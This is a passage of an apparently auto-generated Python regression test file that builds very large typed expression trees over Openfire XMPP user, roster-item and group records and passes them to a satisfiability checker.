TNative('java.util.Date')))))))))).with_type(TBool())).with_type(TBool()))).with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))), ELambda(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EGetField(EGetField(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'val').with_type(TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), 'name').with_type(TString()))).with_type(TBag(TString()))).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EUnaryOp('not', EBinOp(EVar('other').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), '==', EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EUnaryOp('exists', EFilter(EVar('rosterItems').with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))))), ELambda(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), EBinOp(EBinOp(ECall('jidToUsername', (EGetField(EGetField(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), 'val').with_type(TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))), 'target').with_type(TNative('org.xmpp.packet.JID')),)).with_type(TString()), '==', EGetField(EGetField(EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'val').with_type(TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))), 'username').with_type(TString())).with_type(TBool()), 'and', EBinOp(EGetField(EGetField(EVar('other').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'val').with_type(TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))), 'username').with_type(TString()), '==', EGetField(EGetField(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), 'val').with_type(TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))), 'user').with_type(TString())).with_type(TBool())).with_type(TBool()))).with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))))).with_type(TBool()), 'or', EUnaryOp('exists', EMap(EFilter(EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))), ELambda(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EBinOp(EBinOp(ETuple((EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))).with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 'in', EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool()), 'and', EBinOp(EBinOp(EBinOp(EGetField(EGetField(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'val').with_type(TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), 'rosterMode').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))), '==', EEnumEntry('EVERYBODY').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))).with_type(TBool()), 'or', EBinOp(EBinOp(EGetField(EGetField(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'val').with_type(TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), 'rosterMode').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))), '==', EEnumEntry('ONLY_GROUP').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))).with_type(TBool()), 'and', EBinOp(ETuple((EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EVar('other').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))).with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 'in', EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EBinOp(EGetField(EGetField(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'val').with_type(TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), 'rosterMode').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))), '==', EEnumEntry('ONLY_GROUP').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))).with_type(TBool()), 'and', EUnaryOp('exists', EFilter(EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))), ELambda(EVar('subg').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EBinOp(EBinOp(ETuple((EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EVar('subg').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))), 'in', EVar('childGroups').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))))).with_type(TBool()), 'and', EUnaryOp('exists', EFilter(EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))))), ELambda(EVar('t').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), EBinOp(EBinOp(ETupleGet(EVar('t').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 0).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), '==', EVar('subg').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))).with_type(TBool()), 'and', EBinOp(ETupleGet(EVar('t').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 1).with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), '==', EVar('other').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))).with_type(TBool())).with_type(TBool()))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool())).with_type(TBool()))).with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))), ELambda(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EGetField(EGetField(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'val').with_type(TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), 'name').with_type(TString()))).with_type(TBag(TString()))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TBag(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))), ELambda(EVar('_fragarg').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), EBinOp(EVar('_fragarg').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), '===', EVar('other').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))).with_type(TBool()))).with_type(TBag(TBool()))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'or', EUnaryOp('not', EBinOp(EUnaryOp('not', EBinOp(EUnaryOp('len', EFilter(EVar('rosterItems').with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))))), ELambda(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), EBinOp(EBinOp(ECall('jidToUsername', (EGetField(EGetField(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), 'val').with_type(TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))), 'target').with_type(TNative('org.xmpp.packet.JID')),)).with_type(TString()), '==', EGetField(EGetField(EVar('other').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'val').with_type(TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))), 'username').with_type(TString())).with_type(TBool()), 'and', EBinOp(EGetField(EGetField(EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'val').with_type(TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))), 'username').with_type(TString()), '==', EGetField(EGetField(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), 'val').with_type(TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))), 'user').with_type(TString())).with_type(TBool())).with_type(TBool()))).with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))))).with_type(TInt()), '==', ENum(1).with_type(TInt())).with_type(TBool())).with_type(TBool()), 'and', EUnaryOp('not', EUnaryOp('empty', EFilter(EVar('rosterItems').with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))))), ELambda(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), EBinOp(EBinOp(ECall('jidToUsername', (EGetField(EGetField(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), 'val').with_type(TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))), 'target').with_type(TNative('org.xmpp.packet.JID')),)).with_type(TString()), '==', EGetField(EGetField(EVar('other').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'val').with_type(TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))), 'username').with_type(TString())).with_type(TBool()), 'and', EBinOp(EGetField(EGetField(EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'val').with_type(TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))), 'username').with_type(TString()), '==', EGetField(EGetField(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), 'val').with_type(TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))), 'user').with_type(TString())).with_type(TBool())).with_type(TBool()))).with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('users').with_type(TBag(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))), EVar('rosterItems').with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))))), EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))), EVar('childGroups').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))))), EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))))), EVar('admins').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))))), EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), EVar('other').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))]), collection_depth=2, validate_model=True)
def test_regression12(self):
satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBinOp(EBinOp(EBinOp(EUnaryOp('unique', EMap(EVar('users').with_type(TBag(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))), ELambda(EVar('_var28803386').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), EGetField(EGetField(EVar('_var28803386').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'val').with_type(TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))), 'username').with_type(TString()))).with_type(TBag(TString()))).with_type(TBool()), 'and', EBinOp(EUnaryOp('unique', EMap(EVar('rosterItems').with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))))), ELambda(EVar('_var28803404').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), EGetField(EGetField(EVar('_var28803404').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), 